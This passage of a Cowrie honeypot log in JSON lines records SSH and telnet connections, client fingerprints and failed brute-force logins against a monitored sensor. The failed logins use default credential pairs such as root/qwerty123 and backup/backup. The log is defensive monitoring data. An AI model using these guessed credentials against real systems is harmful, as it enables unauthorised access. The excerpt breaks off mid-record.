{"eventid":"cowrie.session.closed","duration":"44.8","message":"Connection lost after 44.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:28.618533Z","src_ip":"8.218.166.49","session":"9df9c82b08cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44292,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d535ecc88e0","protocol":"ssh","message":"New connection: 47.86.95.62:44292 (10.17.0.5:22) [session: 0d535ecc88e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:30.219867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:30.226794Z","src_ip":"47.86.95.62","session":"0d535ecc88e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:30.433535Z","src_ip":"47.86.95.62","session":"0d535ecc88e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:31.046685Z","src_ip":"47.86.95.62","session":"0d535ecc88e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:32.252747Z","src_ip":"47.86.95.62","session":"0d535ecc88e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38754,"dst_ip":"10.17.0.5","dst_port":22,"session":"767bd6aede1f","protocol":"ssh","message":"New connection: 47.86.95.62:38754 (10.17.0.5:22) [session: 767bd6aede1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:40.671078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:40.980769Z","src_ip":"47.86.95.62","session":"767bd6aede1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:40.988630Z","src_ip":"47.86.95.62","session":"767bd6aede1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:48.902095Z","src_ip":"8.218.166.49","session":"d1aa02474636","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:49.436197Z","src_ip":"47.86.95.62","session":"767bd6aede1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"46.3","message":"Connection lost after 46.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:51.052948Z","src_ip":"8.218.166.49","session":"d1aa02474636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:52.620763Z","src_ip":"47.86.95.62","session":"767bd6aede1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52532,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4f20fb07ebd","protocol":"ssh","message":"New connection: 47.86.95.62:52532 (10.17.0.5:22) [session: b4f20fb07ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:58.152086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:58.157440Z","src_ip":"47.86.95.62","session":"b4f20fb07ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:58.367295Z","src_ip":"47.86.95.62","session":"b4f20fb07ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:58.995639Z","src_ip":"47.86.95.62","session":"b4f20fb07ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34216,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c2c37944b5c","protocol":"ssh","message":"New connection: 8.218.166.49:34216 (10.17.0.5:22) [session: 5c2c37944b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:00.312230Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:00.461306Z","src_ip":"47.86.95.62","session":"b4f20fb07ebd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:00.867915Z","src_ip":"8.218.166.49","session":"5c2c37944b5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:07.143070Z","src_ip":"8.218.166.49","session":"5c2c37944b5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55072,"dst_ip":"10.17.0.5","dst_port":22,"session":"11b59d0b8c7c","protocol":"ssh","message":"New connection: 47.86.95.62:55072 (10.17.0.5:22) [session: 11b59d0b8c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:22.853066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:23.411957Z","src_ip":"47.86.95.62","session":"11b59d0b8c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:23.416107Z","src_ip":"47.86.95.62","session":"11b59d0b8c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:24.408239Z","src_ip":"8.218.166.49","session":"b8fbb48989fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:24.645741Z","src_ip":"8.218.166.49","session":"5c2c37944b5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:26.219698Z","src_ip":"47.86.95.62","session":"11b59d0b8c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:27.431560Z","src_ip":"47.86.95.62","session":"11b59d0b8c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55082,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b7144446d68","protocol":"ssh","message":"New connection: 47.86.95.62:55082 (10.17.0.5:22) [session: 7b7144446d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:29.577382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:29.582764Z","src_ip":"47.86.95.62","session":"7b7144446d68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:29.789211Z","src_ip":"47.86.95.62","session":"7b7144446d68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00186276435852,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:30.080356Z","src_ip":"49.88.156.34","session":"9e3737a2ace8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:30.418768Z","src_ip":"47.86.95.62","session":"7b7144446d68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:31.628904Z","src_ip":"47.86.95.62","session":"7b7144446d68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00490689277649,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:35.127586Z","src_ip":"49.88.156.34","session":"e06c7c402c13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"41.1","message":"Connection lost after 41.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:41.440695Z","src_ip":"8.218.166.49","session":"5c2c37944b5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.211.213.58","src_port":46486,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f0f1ef908b8","protocol":"telnet","message":"New connection: 117.211.213.58:46486 (10.17.0.5:23) [session: 4f0f1ef908b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:48.192055Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41814,"dst_ip":"10.17.0.5","dst_port":22,"session":"df80371db4a2","protocol":"ssh","message":"New connection: 47.86.95.62:41814 (10.17.0.5:22) [session: df80371db4a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:57.710231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:57.766778Z","src_ip":"47.86.95.62","session":"df80371db4a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:57.974610Z","src_ip":"47.86.95.62","session":"df80371db4a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:56:59.000145Z","src_ip":"47.86.95.62","session":"df80371db4a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:00.208413Z","src_ip":"47.86.95.62","session":"df80371db4a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":44894,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ddaf1609fce","protocol":"ssh","message":"New connection: 8.218.166.49:44894 (10.17.0.5:22) [session: 5ddaf1609fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:00.696710Z"}
{"eventid":"cowrie.session.closed","duration":13.161139488220215,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:01.353100Z","src_ip":"117.211.213.58","session":"4f0f1ef908b8","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:01.418310Z","src_ip":"8.218.166.49","session":"5ddaf1609fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 